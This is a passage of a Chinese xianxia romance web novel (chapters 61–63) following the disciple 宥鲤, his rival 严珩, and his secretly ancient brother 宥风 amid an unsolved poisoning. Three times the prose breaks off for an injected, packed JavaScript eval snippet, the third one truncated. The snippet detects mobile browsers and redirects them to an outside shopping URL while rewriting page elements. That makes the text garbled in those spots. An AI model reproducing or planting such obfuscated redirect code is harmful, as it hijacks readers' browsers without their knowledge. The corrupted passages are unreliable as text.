宥鲤轻笑,“这就是理由?” “不是全部。” “那还有什么?” 严珩看着他,眼神暗得像要滴出水来,“还有……你总是一个人扛下所有。明明很痛,却装作没事。” 宥鲤的笑意淡了些,“这也算喜欢?” “对我来说算。”严珩的声音低得几乎听不见,“因为我知道,你不是不需要人,只是不肯说。” 宥鲤盯着他,像是想从他眼里找出什么破绽。 可过了很久,他只是轻轻叹了口气。 “你很傻。” “也许吧。”严珩没有反驳。 “那你会一直喜欢我吗?”宥鲤忽然问,像是随口,却又像在赌什么。 严珩看着他,没有立刻回答。 空气在这一刻变得很轻,轻得仿佛只要有人呼吸重一点,就会被打碎。 “会。” 这一次,他答得很干脆。 宥鲤的眼底闪过一丝复杂的情绪,却很快被药效带来的恍惚覆盖。 “好。”他闭上眼,像是安心了,又像是在逃避,“那我就……暂时信你。” 61. 苦冬·七 清晨的阳光透过窗棂,落在医堂的地面上,照亮了昨夜溅落的血迹。 宥鲤缓缓睁开眼,胸口的疼痛已经消退,只剩下锁骨处传来的钝痛提醒着他昨夜的失控。 他坐起身,目光扫过房间——严珩正坐在床边的椅子上,手里拿着一杯早已凉透的茶。 “你醒了。”严珩的声音低沉,像是压着什么情绪。 “嗯。”宥鲤淡淡应了一声,语气平静得仿佛什么都没发生过。 可严珩的眼神却紧紧锁在他身上,像是要从他的表情里挖出什么秘密。 “昨天……你为什么会全身疼?”他开门见山。 宥鲤垂了垂眼,伸手将被褥拉到胸口,遮住锁骨的伤。 “练功岔了气。” “我不信。”严珩的语气很轻,却带着不容置疑的笃定。 宥鲤没看他,只淡淡道:“信不信由你。” 房间里陷入一阵压抑的沉默。 严珩的手指在杯壁上轻轻摩挲,像是在克制什么。 “宥鲤,你可以不说,但我会查。” 宥鲤终于抬眼,目光与他相撞。那双眼里没有一丝波澜,就像一潭深不见底的水。 “你查不到的。” “那你告诉我。”严珩的声音忽然低了下去,“我不想再看到你那样倒下。” 宥鲤看着他,很久,才缓缓移开视线。 “严珩。” “嗯?” “有些事,不知道,对你更好。” 严珩的手指骤然收紧,杯壁发出一声轻响。 “你是在保护我?” 宥鲤没回答,只是闭上眼,靠在床头。 ——不是保护。 ——是不想让你看到我最不堪的一面。 可这些话,他一个字也不会说。 沉默再次笼罩了整个房间。 阳光慢慢爬上床沿,照在宥鲤苍白的侧脸上,却照不进他眼底的阴影。 严珩看着他,忽然觉得,昨夜那几句失控的话,也许是他这辈子唯一一次,能听到宥鲤真心的机会。 而现在,那扇门,又被他亲手关上了。 门“吱呀”一声被推开。 云清君当先走进来,一袭青衫,神色凝重。他的目光在宥鲤身上停了片刻,才转向严珩,微微颔首示意。 “宥鲤,你可好些了?”云清君的声音温和,却带着不容拒绝的威严。 “劳烦掌门挂心,已无大碍。”宥鲤淡淡答道。 云清君在床前坐下,目光若有似无地落在他锁骨的纱布上,“晨练之事,究竟是怎么回事?” 宥鲤沉默了一瞬,语气平静:“练功时岔了气,一时失手,惊扰了诸位。” 云清君的眉头几不可察地皱了皱。 “岔气会震碎长剑,还会让你痛到晕厥?” 宥鲤抬眼,神色如常:“弟子修为不足,才会出此纰漏。” 房间里安静下来,连窗外的风声都仿佛停了。 云清君盯着他看了很久,最终只是叹了口气,“你若不愿说,我也不再逼你。但记住,山门之内,不是你一个人的战场。” 说完,他站起身,向严珩微微点头,转身离开。 在他身后,宥风静静走进来。少年身形修长,眉眼清澈,看上去不过十五六岁,平时大大咧咧的,但仔细看却有着与年龄不符的沉稳。 “哥。”宥风轻声唤道,语气里带着难以掩饰的担忧。 宥鲤嗯了一声,神色柔和了几分。 严珩看着这一幕,微微眯起眼。宥风对宥鲤的关心,不像是普通弟弟对哥哥的……而是更像是一种本能的守护。 宥风走到床边,替宥鲤掖了掖被角,动作细致入微。他的手指在纱布边缘停了一瞬,像是能透过布料感受到伤口的位置。 “还疼吗?”宥风低声问。 “不疼了。”宥鲤答。 宥风没说话,只是微微垂眸,掩去眼底一闪而过的冷意。那不是对宥鲤的,而是对昨夜让哥哥受伤的一切。 ——他很清楚,那不是岔气。 ——也不是普通的走火入魔。 他从小就知道宥鲤体内的秘密,知道那股力量会在最脆弱的时候反噬主人。 而昨夜,宥鲤差点没撑过去。 严珩忽然开口:“宥风,你昨夜在哪?” 宥风抬眼,神色坦然:“在演武场,听到动静才赶来。” 严珩的目光与他短暂交锋,像是在衡量什么。最终,他只是点了点头,没有再问。 宥风转身替宥鲤倒了杯水,递到他手边,手指不经意地触到他的手背——冰凉。 他低声道:“哥,不管发生什么,你都不要一个人扛。” 宥鲤看着他,神色微动,却只是轻轻应了一声:“好。” 严珩站在一旁,看着两人之间那种无需言语的默契,忽然觉得,宥风知道的,远比他想象的多。 而这个看似温顺的少年,或许才是宥鲤最坚实的屏障。 夜色沉沉,万归宗的大殿灯火通明。 墨北坐在主位,面色冷沉,目光如刀,扫过殿中众人。他的手指轻轻敲击着扶手,每一下都像敲在众人心头。 人人皆知万归宗,宗主墨北仙尊,有五位爱徒,但这五位徒弟因为是墨北仙尊的弟子就飞扬跋扈,骄横放肆,目中无人,由其讨厌宥鲤这种天才。 而墨北仙尊也是因为这件事才闭关了50年就出关了。 “五具尸体,全都死于同一毒——‘断魂香’。”墨北的声音低沉,却带着不容置疑的威严,“毒发极快,无药可解。下手之人,就在你们中间。” 殿中一片死寂,只有烛火摇曳的“噼啪”声。 有人垂首不语,有人低声议论,有人面色苍白,有人眼底闪过一抹慌乱。 云清君站在左侧,神色凝重,眉头紧锁,像是在思索什么。 严珩站在他身后,目光沉冷,手指微扣,似乎在回忆昨夜的每一个细节。 而在人群的末尾,宥风安静地站着,身形笔直,像一株尚未长成的青松。 少年眉眼清澈,神色与平时无异,仿佛只是在听一件与自己无关的事。 可若是仔细看,会发现他的指尖正微微收紧,袖口下的掌心已经被指甲掐出几道月牙痕。 ——这不是他第一次杀人。 ——却是第一次,里为宥鲤的狗被那五个徒弟毒死而杀人。 墨北的视线缓缓扫过众人,最后落在宥鲤身上。 “宥鲤,你可有线索?” 宥鲤抬眼,神色平静:“昨夜我在医堂,未曾外出。” “有人可为你作证?”墨北问。 “严珩。”宥鲤淡淡道。 严珩上前一步,沉声道:“他确实一直在我视线之内。” 墨北的目光在两人之间转了一圈,似乎并不完全相信,却也没有再追问。 “继续查。”他缓缓站起身,“此事若不查个水落石出,我万归宗颜面扫地!” 众人齐声应是。 殿门缓缓打开,冷风灌入,吹得烛火一阵摇晃。 宥风随着人流向外走,脚步不快不慢。他经过宥鲤身边时,低声唤了一句:“哥。” 宥鲤侧头看他,目光平静无波。 宥风微微一笑,像是在说“没事”,可那笑意只停留在表面,眼底却是一片冰冷的决绝。 ——谁敢动他的人,他就灭谁满门。 而此刻,大殿的阴影中,墨北的目光正落在宥风的背影上,神色晦暗不明。 夜色如墨,万归宗后山的风带着几分寒意。 墨北独自站在宥风的房前,指尖轻触那扇木门。屋内一片漆黑,安静得连烛火的余温都没有。 他推门而入,动作轻得像怕惊动什么。 屋内陈设极为简单:一张木床,一张书桌,一把椅子,角落里放着一柄未出鞘的长剑。 窗台上有几株盆栽,叶片上凝着露。 墨北的目光缓缓扫过每一个角落。他的眼神像刀,一寸一寸地剥开这看似平静的表象。 书桌上,整齐地放着几本旧书,封皮磨得有些发白。书页间夹着一片干枯的梅花瓣,像是随手夹进去的。 床头,放着一只破旧的布偶,是个早已褪色的小狐狸。看起来是小时候的玩物,却被小心地摆在枕边。 剑架上,长剑入鞘,剑鞘是普通的黑漆木,没有任何花纹。 墨北走过去,抽出长剑。剑身在月光下闪过一抹冷光,刃口锋利无比,却没有一丝血迹。 他又蹲下,检查床底。床底空空如也,只有一层薄薄的灰尘。 墨北的眉头微不可察地皱了皱。 太干净了。干净得像是在告诉他:你什么都找不到。 他缓缓站起身,目光落在窗台的那几株盆栽上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261157|198029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。指尖轻轻拨开泥土,泥土湿润,没有任何异物。 墨北的眼神沉了下去。 他知道,宥风不简单。可无论他怎么查,这个少年都像水面上的影子——你看得见,却抓不住。 他走到门口,回头看了一眼。屋内的一切都安静地躺在黑暗中,仿佛从未有人动过。 墨北低声道:“宥风……你究竟藏了什么?” 没有人回答。 只有窗外的风吹过,带来一阵淡淡的梅花香。 夜色沉沉,万归宗的回廊空无一人,风声像细针一样钻进衣领。 宥鲤推开房门,冷冷道:“进来。” 宥风抬脚跨进去,反手关上了门。 屋内只点了一盏小灯,昏黄的光映在宥鲤的脸上,让他的表情看起来更冷。 “你做的,是不是?”宥鲤的声音低沉,带着压抑的怒火。 宥风垂眸,没有立刻回答。 下一秒——“啪!” 清脆的一声,在安静的屋内格外刺耳。宥鲤的手狠狠甩在宥风的脸上,五指的红痕立刻浮了出来。 可宥风没有躲。 他只是缓缓抬起手,握住了宥鲤的手腕,将那只手按在自己被打的半边脸上。 他的手指冰凉,动作却带着一种近乎病态的温柔。宥风微微侧头,将脸在那只手上反复摩擦,鼻尖轻触着对方的掌心,像在细细闻着什么。 “……有你的味道。”他低声道,声音轻得像风,却带着不容错辨的执着。 宥鲤的手指僵住了。 宥风抬眼看他,目光平静而赤裸,不再有往日的掩饰与装傻。那眼神像在说—— 我知道你在怀疑我。 我也知道你在害怕什么。 可我不在乎。 “哥。”宥风轻轻唤了一声,唇角勾起一丝极淡的笑,“你该比谁都清楚,我是什么样的人。” 宥鲤的胸口剧烈起伏,眼底翻涌着复杂的情绪——愤怒、失望、恐惧……还有那一点他不愿承认的慌乱。 “宥风,你……” “我不会再装了。”宥风的声音很轻,却像在宣布什么,“我做的,都是为了你。” 他说完,微微低头,将额头抵在宥鲤的掌心,像是在寻求安慰,又像是在宣告占有。 屋内的灯光摇曳,影子交叠,空气里弥漫着一种说不清的暧昧与危险。 宥鲤的手微微颤抖。 他想推开宥风——可那只按在自己手腕上的手,像铁钳一样纹丝不动。 “放开我。”宥鲤的声音低哑,带着压抑的怒意。 宥风没有回答,只是一步一步逼近。直到宥鲤的后背抵在冰冷的桌沿,退无可退。 “哥,”宥风的声音很轻,却像带着某种不可抗拒的力量,“你总是护着所有人……那谁来护你?” 他的另一只手抬起,指尖在空中一勾——一层透明的屏障无声无息地笼罩了整个房间,隔绝了外界的一切声音。 宥鲤瞳孔骤缩。 他知道这意味着什么——这里的一切,都不会传出去。 宥风低下头,与他近得几乎能感受到彼此的呼吸。那双眼睛,不再是少年该有的清澈,而是像深潭一般,藏着千年的黑暗与冷意。 “你……”宥鲤的喉结滚动,“你到底是谁?” 宥风的唇角微微上扬,露出一抹意味不明的笑。 “我?”他低声道,“煞玄护法,宥风。一千九百岁,修行了一千九百年。” 宥鲤的手指骤然收紧。 “你在骗我。” “骗你?”宥风的眼神冷了几分,“你以为,一个八岁的孩子,能在你身边活到现在,护你周全?那是因为我,一直在你身后。” 他俯下身,气息擦过宥鲤的耳廓,带着若有若无的梅花香。宥鲤的身体微微一僵,心底涌起一股莫名的慌乱——那不是单纯的恐惧,还有一种他不愿承认的熟悉感。 宥风缓缓抬手,指尖轻轻划过宥鲤的下颌,像是在提醒,又像是在宣告。 “哥,我不会做你不愿意的事。”他的声音低沉而克制,“我只是想让你知道——” 他顿了顿,目光灼热得几乎要穿透对方的灵魂。 “——你是我的。” 宥鲤的胸口剧烈起伏,理智与情感在脑海中撕扯。他想怒斥,想推开,想逃——可宥风的气息像一张无形的网,将他牢牢困住。 62. 苦冬·八 屏障还没撤,屋内的空气却安静得像一池温水。 宥风缓缓松开了那只扣在宥鲤手腕上的手,转而将他整个人轻轻拥进怀里。 他的怀抱很稳,很暖,带着淡淡的梅花香。 宥鲤僵着身子,没动。 “哥,”宥风的声音低低的,像是怕惊到什么,“这些年,我一直在你面前装笨、装傻、装没用。” 他顿了顿,像是在回忆那些日子。 “你以为我不会御剑?我一千岁的时候就已经能御剑千里了。 你以为我不会医术?我救过比你见过的人还多。 你以为我怕黑、怕鬼、怕打雷?那是我故意让你保护我,让你觉得……我需要你。” 宥鲤的手指在袖中微微收紧。 “为什么?”他的声音很轻。 “因为……”宥风低下头,将脸埋在宥鲤的颈窝,呼吸温热,“只有这样,你才不会赶走我。” 他的声音带着一丝笑意,却又透着难以掩饰的酸涩。 “我装了这么多年,就是想留在你身边。你骂我也好,打我也好,只要你还在我眼前……我就安心。” 宥鲤闭了闭眼,胸口像被什么堵住。那些年的片段在脑海中闪回——宥风在他面前笨拙地摔倒、小心翼翼地递来热茶、在他受伤时慌乱得手足无措…… 原来,都是假的。 可偏偏,这份“假”,却比任何真实都更让他心慌。 空气像凝固了一样,安静得只能听见两人急促的呼吸。 宥风的手还扣在宥鲤的手腕上,掌心的温度透过衣料灼得人发慌。他的脸近得几乎能触到对方的睫毛,呼吸带着危险的热度。 宥鲤的胸口剧烈起伏,理智像被一点点磨碎。 “宥——风!” 他猛地喊出那个名字,声音嘶哑,带着压抑到极点的颤抖。 那一瞬间,宥风的动作僵住了。 像是被什么击中,他的手指微微一松,力道从宥鲤的手腕上褪去。 宥鲤立刻挣脱,往后退了一步,双手撑在桌上,胸口剧烈起伏。 屋内安静了下来,只剩下两人的呼吸声交错。 宥风站在原地,眼神沉得像夜色,唇角却缓缓勾起一丝几不可察的笑。 “终于……叫我的名字了。” 他低声道,声音轻得像风,却带着一种莫名的满足。 屏障还在,屋外的风声传不进来。 可宥鲤的心,却像被那一声回应震得乱了节拍。 宥风抬手,指尖轻轻一弹,那层透明的隔音屏障便像水波一样荡开,化作无形。 屋外的风声重新涌了进来,带着夜的凉意。 他看了宥鲤一眼,眼底那抹千年的深潭似乎被一层薄雾遮住,看不出情绪。 “我先走了。”宥风淡淡道。 话音落下,他转身推门而出,脚步很轻,却每一步都像踩在宥鲤的心口上。 门“咔嗒”一声关上,屋里又只剩下宥鲤一个人。 他缓缓站直身子,手指还在微微发抖。桌上的烛火摇曳着,将他的影子拉得很长。 脑海里一遍遍回荡着刚才的画面——宥风近在咫尺的呼吸、低沉的声音、那双千年不化的眼睛……还有那句轻飘飘却像烙印一样的话: ——你是我的。 宥鲤抬手按住自己的胸口,心跳快得几乎要冲破肋骨。 他想笑自己荒唐……被一个“弟弟”逼到这种地步。可他又笑不出来。 因为他清楚地知道从今晚开始,一切都不一样了。 一个月的时间,足以让万归宗的草木换了一轮新绿,却不足以洗去笼罩在宗门上空的阴影。 这一个月里,墨北几乎查遍了每一个角落,审问了每一个可能知情的人。可无论他怎么追查,线索总是在最关键的地方断掉,像被人用刀干净利落地切断。 五名弟子的死,都成了悬案。 大殿里,墨北站在高位,看着底下低头不语的众人。他的神色比一个月前更冷,眼底却藏着一丝疲惫。 “此事……暂且到此为止。”他缓缓开口,声音里透着一种不容置疑的决绝,“凶手若敢再犯,我必亲手取其性命。” 殿中一片寂静,没有人敢抬头。 墨北转身,拂袖而去。 那一夜,万归宗的钟声敲响了三下,低沉而悠长。 第二日清晨,他便宣布闭关修行,不再问世事。 闭关的山门缓缓落下,厚重的石门隔绝了内外的一切声息。 宗内的人都明白这不仅是修行,更是一种无奈的退让。 墨北找不到凶手,也不愿让宗门陷入无休止的猜忌与内斗,只能以闭关之名,暂时按下这一切。 可每个人心里都清楚,阴影并没有散去。它只是潜伏在暗处,等待下一次出手的时机。 而在宗门后山的梅树下,宥风静静站着,看着花瓣随风飘落。 他的神色平静,却在袖中缓缓收紧了手指。 傍晚—— 夜色深沉,万归宗的练武场上空无一人,只有月光静静地洒在地面。 严珩百无聊赖地拔剑、收剑,剑影在月光下拉出一道道寒光。 不知为何今夜居然失眠了。 正觉得无趣,眼角余光却瞥见远处湖面上——有个人影。 他眯起眼,仔细一看 宥鲤? 更离谱的是,宥鲤正一步步走向湖中央,脚下踩着水面,像在走平地。可他的眼神空洞,明显不是醒着的状态。 严珩眉头一皱,一个闪身掠过去。 “喂——”他伸手去拽宥鲤的手腕,却被对方无意识地甩开。宥鲤的步子依旧往前,像被什么牵着魂。 严珩低声骂了一句,干脆直接把人拦腰一抱,扛到了肩上。宥鲤的身子软得像没骨头,脑袋一晃一晃,呼吸间带着淡淡的药香。 回宗门的路上,严珩才从守夜弟子那里听说是怎么回事宥鲤傍晚去看了老医师,拿了安神的药,结果不小心吃多了,睡到半夜就梦游出来了。 “啧,”严珩勾了勾唇角,“还真是……会折腾。” 他本可以直接把人送回朽清门,可脚步一转,却走向了朝阳门的方向。 “先放我那吧,省得你又半夜跑出来落水。”严珩自言自语,像是在找借口。 可眼底那抹狡黠,却暴露了他的心思。 朝阳门的灯火还亮着,他把宥鲤放在自己的榻上,替人盖上外袍。 宥鲤皱了皱眉,像是做了什么梦,嘴里含糊不清地嘟囔了几句。 严珩坐在一旁,撑着下巴看他,嘴角挂着若有若无的笑。 “你说……要是有人知道我把你拐到这儿来,会怎么样?” 窗外的月光渐渐移到屋角,烛火在风里轻轻摇曳,映得室内光影交错。 严珩就那样坐着,撑着下巴,静静看着宥鲤。 他看了很久——久到烛泪堆成了一座小丘,久到窗外的虫鸣都停了。 宥鲤睡得不安稳,眉心时不时皱一下,像是在梦里遇到什么麻烦。 可下一刻,他又会无意识地往温暖的地方蹭了蹭,像只找到了热源的小动物。 严珩忍不住伸手,轻轻抚平他眉间的褶皱。 指尖触到的皮肤温热而细腻,让他心里莫名一动。 他低声笑了笑,像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261158|198029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是在对自己说:“你啊……真不让人省心。” 灯光下,宥鲤的侧脸安静得近乎无害,长长的睫毛投下一小片阴影。 严珩看着看着,忽然觉得……就这样一直看着,也挺好。 可他也清楚,这只是暂时的。 等天亮,宥鲤醒来,他们之间又会回到那种剑拔弩张、针锋相对的状态。 严珩收回手,靠在榻边,闭上眼,却没再睡。 他想多听一会儿宥鲤的呼吸声,安稳、真实,提醒着他,这个人此刻就在自己身边。 晨光透过窗棂,落在床榻上。 宥鲤睫毛轻颤,缓缓睁开眼。 映入眼帘的,不是朽清门熟悉的木梁,而是陌生的雕花与淡淡的檀香。 他坐起身,看到了倚在榻边打盹的严珩。 “……这是哪儿?”宥鲤的声音清冷,没有一丝慌乱。 严珩被吵醒,抬眼看他,唇角一勾:“朝阳门。” 宥鲤目光一顿,起身下床,动作干净利落。 “为什么我会在这里?” “你半夜梦游走到湖中央,我把你扛回来的。”严珩懒洋洋地说,“总不能眼睁睁看你掉水里,喂鱼吧?” 宥鲤看了他一眼,那眼神淡得像一泓井水,看不出情绪。 “多谢。”他淡淡道,转身就要走。 “哎——”严珩伸手拦住,“不请我喝杯茶?至少也该感谢我救命之恩吧。” 宥鲤停下脚步,转头看他,语气平静:“救命之恩,我会记着。至于茶……朝阳门不缺。” 严珩被噎了一下,随即低笑出声:“你这人,真是……” “真是什么?”宥鲤淡淡问。 “真是让人想撬开你的嘴,看看里面到底装了多少秘密。”严珩的语气带着半真半假的调侃。 宥鲤没接话,只是绕过他,推门而出。 走到门口时,他停了一下,没有回头:“以后,不必多管我的事。” “可我偏要管呢?”严珩挑眉。 屋外的风拂动了门帘,宥鲤的声音透过缝隙传来,清冷而疏离: “那是你的事。” 话音落下,人已走远。 严珩站在原地,看着那道渐行渐远的背影,唇角的笑意却久久没有散去。 朽清门的晨雾还未散去,白墙青瓦在雾气中若隐若现。 宥鲤跨过山门,脚步很轻,却还是惊动了廊下的人。 云清君负手而立,白衣如霜,眉目清隽,眼底却藏着一丝不易察觉的倦意。 “千浮。”他开口,声音温润,却带着不容置疑的沉稳。 宥鲤停下脚步,微微躬身:“师尊。” 云清君看着他,目光在他身上停留片刻,像是在确认什么。 “你昨夜,去了哪里?” 宥鲤沉默一瞬,语气平静:“湖边。” “湖边?”云清君的眉头微不可察地皱了一下,“为何不回门?” “遇见严珩。”宥鲤淡淡道,“被他带回朝阳门。” 廊下安静了片刻,只听见风吹过竹叶的沙沙声。 云清君的神色恢复了温和,却在袖中缓缓收紧了手指。 “以后,夜里不要随意在外停留。”他顿了顿,又补了一句,“尤其是与外人。” “是。”宥鲤应声。 云清君看着他,似乎还想说什么,但最终只是轻叹一声:“去吧,把药喝了。” 宥鲤应声退下。 走到回廊拐角时,他停了一瞬,没回头,只轻声道:“师尊,不必担心。” 云清君看着他的背影消失在雾中,指尖微微一动,却什么也没说。 63. 苦冬·九 那一年,云清君还只是宗门中最年轻的长老,刚接任朽清门掌门之位。 入冬的第一场雪下得很早,山间的松柏被压弯了腰,雪片像无声的絮语,在天地间铺展开来。 山脚下的小镇被积雪覆盖,石板路上几乎看不到行人。 云清君本是下山采买药材,却在一处破败的土地庙前停下了脚步。 庙门半掩,里面黑漆漆的,寒风夹着雪屑灌进去,发出呜呜的声响。 他本不想多管闲事,却在推门的那一刻,看到了蜷缩在角落里的两道身影。 其中一个少年生得极为清秀,眉眼像被风雪打磨过一般干净。皮肤很白,不是那种病态的苍白,而是带着玉石般的温润光泽,仿佛在雪中也会透出淡淡的光。眉形细长,略向上挑,却因眼神清冷而不显妩媚,反而多了几分疏离感。 他的眼睛是浅茶色的,像初春的湖水,表面平静无波,深处却藏着不易察觉的锋利。鼻梁挺直,嘴唇薄而淡色,不笑的时候显得有些冷硬。 少年瘦得像只有骨头,衣衫破烂,满是尘土与雪渍,怀里却紧紧抱着一个更小的孩子——那是宥风,眉眼间与他有几分相似,只是年纪尚小,眼神怯怯的。 云清君怔了一瞬,低声道:“你们,怎么会在这里?” 少年抬眼,目光落在他身上,没有丝毫怯意,反而像在审视。 “避雪。”他的声音很轻,却冷得像雪水。 “你们的家人呢?”云清君又问。 少年沉默了片刻,只摇头。 风从破庙的缝隙里灌进来,吹得烛火摇晃,映得少年的侧脸忽明忽暗。 云清君蹲下身,递过去一块干净的手巾:“擦擦吧。” 少年没接,只是抱紧了怀里的弟弟。宥风缩了缩脖子,小声叫了一声:“哥……” 云清君看在眼里,心底微微一软。 “我是朽清门的长老。”他缓缓开口,“若你们无处可去,可以随我回山。” 少年的目光微微一动,却没有立刻答应。 “我们……能有地方住吗?”宥风怯怯地问。 “有。”云清君笑了笑,声音温和,“有暖炉,有热汤,还有干净的床。” 少年看着他,浅茶色的眼底闪过一丝不易察觉的波动。 “你为什么帮我们?”他问。 云清君愣了一下,随即淡淡道:“因为你们需要。” 庙外的雪越下越大,天地间只剩下雪花簌簌落下的声音。 少年沉默良久,终于点了点头:“好。” 那一刻,云清君才注意到,少年的手指冻得通红,却依旧紧紧牵着弟弟的手。 他伸出手,将两人从地上拉起来。 “走吧。” 风声、雪声、脚步声交织在一起,在空旷的山间回荡。 多年后,云清君仍记得,那一天的雪很大,冷得刺骨,可当他牵着那两只冰凉的小手时,心底却生出一种久违的暖意。 朽清门的山门在雪雾中若隐若现,石阶蜿蜒向上,被厚厚的积雪覆盖,像一条沉睡的银龙。 云清君领着两个孩子踏上石阶,身后的脚步声在空旷的山谷里显得格外清晰。 “师尊——”几名守门弟子迎了上来,看到他身后的两个孩子,神色有些惊讶。 “先去取两套干净的棉衣来。”云清君吩咐。 弟子应声而去。 进了内门,院中种着几株红梅,雪落在花瓣上,红白相映,美得像一幅静画。 宥鲤站在廊下,微微仰头看了一眼,眼底的神色有了一瞬的松动——但很快,他又垂下眼,恢复了那副冷淡的模样。 “你叫什么名字?”云清君问。 少年迟疑了一下:“宥鲤。” “宥……鲤。”云清君轻声重复了一遍,唇角微弯,“好名字。” 他顿了顿,又道:“我给你取个字,可好?” 宥鲤抬眼看他,没说话。 “千江有水千江月,万里无云万里天。”云清君淡淡一笑,“你便字千浮吧。” 宥鲤微微一怔,似乎没想到他会这样说。片刻后,他点了点头:“好。” 这时,弟子抱来了棉衣。宥风迫不及待地接过,却被宥鲤拦住。 “先道谢。”宥鲤低声说。 宥风立刻朝那名弟子鞠了一躬:“谢谢。” 云清君看着这一幕,眼底闪过一丝欣慰。 “你们先去洗个热水澡,换上干净衣服。”他说,“待会儿我让人送些吃的来。” 两人应声退下。 洗过澡、换上棉衣后,宥风整个人像被暖气包住,脸颊红扑扑的,眼睛亮晶晶的。 而宥鲤…… 当他走出房门时,云清君几乎没认出来。 那身粗布棉衣在他身上,竟像量身定做一般合身。洗去尘土后,他的皮肤更显莹润,眉眼干净得像被雪水冲洗过。浅茶色的眼睛在灯下泛着温润的光,却依旧带着那股若有若无的锋芒。 “千浮。”云清君叫他的字。 宥鲤停下脚步,微微颔首。 “从今日起,你便是我云清君的弟子。”云清君看着他,语气郑重,“朽清门的规矩,你要学;剑,你要练;心,你要守。” 宥鲤静静听着,忽然开口:“我会守的。” 那声音很轻,却像雪落湖面,激起一圈圈涟漪。 云清君微微一笑,转身道:“走吧,我带你去见其他弟子。” 廊外的红梅在风里轻轻颤动,雪光映着少年清瘦却挺拔的背影,像一幅将在岁月中慢慢晕开的画。 两年的时间,足以让一个青涩的少年脱胎换骨。 朽清门的晨钟暮鼓日复一日地敲响,而宥鲤的剑,也在一次次的晨光与暮色中愈发凌厉。 他的进步快得惊人——从最基础的站姿、握剑,到复杂的身法、剑意,他几乎一学就会,一会即精。 门中长老们私下里常说:“千浮这孩子,怕是百年难遇的奇才。” 可宥鲤本人却依旧淡漠如常。 别人练剑时呼喝连连,他只是安静地站在雪地里,一遍又一遍地挥剑。剑光在他指尖流转,像寒星坠地,快到让人看不清轨迹。 两年后,朽清门的天桥试剑台上,他第一次以弟子身份迎战外门挑战者——结果,三招之内,对手落败。 消息像风一样传遍了万归宗。 自此,“宥鲤”这个名字,成了所有年轻弟子心中的一座高峰——无人能及,也无人敢轻易挑战。 有人不服,上门约战,却都在他淡漠的目光和凌厉的剑下败下阵来。 那一日,云清君站在远处的廊下,看着台上那个白衣少年。 雪落在他的发间,他却仿佛不觉,只专注地擦拭手中的剑。 “千浮。”云清君轻声唤他。 宥鲤抬起头,浅茶色的眼底映着他的身影。 “师尊。” “你的剑,已经够快了。”云清君缓步走近,目光落在他的剑上,“可你要记得——剑快,是为了守护,不是为了征服。” 宥鲤沉默片刻,点头:“弟子谨记。” 云清君微微一笑,伸手替他拂去肩头的雪:“走吧,回去吧。” 两人并肩而行,背影在雪地里被拉得很长。 天桥上,风声猎猎,像是在低声传颂着那个名字——宥鲤,字千浮。 回忆结束后。 雾色渐浓,廊下的光影被吞没在灰白之中。 云清君看着宥鲤的背影消失在回廊尽头,指尖在袖中微微一动,却什么也没说。 他站在原地很久,像是在等什么——等那道身影忽然折返,说一句“师尊,我回来了”,或者像从前那样,安静地站在他身侧听训。 可没有。 只有风声,穿过竹叶,轻轻拂过他的衣角。 心口,有什么微微发紧。 是贺兼那个不堪的徒弟……严珩。 这个名字一浮上心头,云清君的眉头便不自觉地皱了起来。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261159|198029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >那孩子天资不错,却性子张扬、桀骜不驯,行事全凭心意,从不循规蹈矩。 云清君一直觉得,这种人最容易带坏旁人,尤其是像宥鲤这样看似清冷,却在某些方面固执得近乎倔强的性子。 可……真是严珩带坏的吗? 云清君的心底,有个声音轻轻反问。 十几年前,那个在破庙里瘦得像一把骨头的孩子,眼里藏着的,是与年龄不符的冷静与戒备。如今的宥鲤,不过是将那份冷静化作了剑意,将戒备藏进了眼底。 或许,他从未真正了解过这个徒弟。 云清君忽然意识到,宥鲤的变化,也许不是因为任何人……而是他自己选择的路。 只是这条路,似乎正一点点远离自己。 他想起宥鲤小时候练剑时,总会在最后一招故意收三分力,回头看他一眼,像是在确认“这样可以吗”。那一眼,清澈、依赖。 而现在,那一眼不见了。 取而代之的,是沉默、疏离,还有一种让人无法靠近的锋芒。 云清君微微阖上眼,心底涌上一种难以言说的酸涩。 是该管得更严,还是放任他走自己的路? 是该将他从严珩身边拉开,还是相信他能守住本心? 无数问题在脑海中交织,却没有一个答案。 他忽然觉得,自己就像站在一片雾海里,看不见前方的路,也看不见那个曾经熟悉的小徒弟。 风过,竹叶沙沙作响,像谁在低低叹息。 云清君收回目光,转身回书房。指尖依旧在袖中轻颤,却被他硬生生按住。 他知道,有些事,不能急。可心里的不安,却像雾一样,越来越浓。 宥鲤推开房门,门闩落下的声音干净利落。 